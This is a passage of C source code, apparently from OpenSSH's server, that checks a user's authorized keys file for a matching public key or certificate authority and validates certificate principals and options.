key_options = cp; for (; *cp && (quoted || (*cp != ' ' && *cp != '\t')); cp++) { if (*cp == '\\' && cp[1] == '"') cp++; /* Skip both */ else if (*cp == '"') quoted = !quoted; } /* Skip remaining whitespace. */ for (; *cp == ' ' || *cp == '\t'; cp++) ; if (key_read(found, &cp) != 1) { debug2("user_key_allowed: advance: '%s'", cp); /* still no key? advance to next line*/ continue; } } if (key_is_cert(key)) { if (!key_equal(found, key->cert->signature_key)) continue; if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (!key_is_cert_authority) continue; fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); debug("matching CA found: file %s, line %lu, %s %s", file, linenum, key_type(found), fp); /* * If the user has specified a list of principals as * a key option, then prefer that list to matching * their username in the certificate principals list. */ if (authorized_principals != NULL && !match_principals_option(authorized_principals, key->cert)) { reason = "Certificate does not contain an " "authorized principal"; fail_reason: xfree(fp); error("%s", reason); auth_debug_add("%s", reason); continue; } if (key_cert_check_authority(key, 0, 0, authorized_principals == NULL ? pw->pw_name : NULL, &reason) != 0) goto fail_reason; if (auth_cert_options(key, pw) != 0) { xfree(fp); continue; } verbose("Accepted certificate ID \"%s\" " "signed by %s CA %s via %s", key->cert->key_id, key_type(found), fp, file); xfree(fp); found_key = 1; break; } else if (key_equal(found, key)) { if (auth_parse_options(pw, key_options, file, linenum) != 1) continue; if (key_is_cert_authority) continue; found_key = 1; debug("matching key found: file %s, line %lu", file, linenum); fp = key_fingerprint(found, SSH_FP_MD5, SSH_FP_HEX); verbose("Found matching %s key: %s", key_type(found), fp); xfree(fp); break; } } restore_uid(); fclose(f); key_free(found); if (!found_key) debug2("key not found"); return found_key; }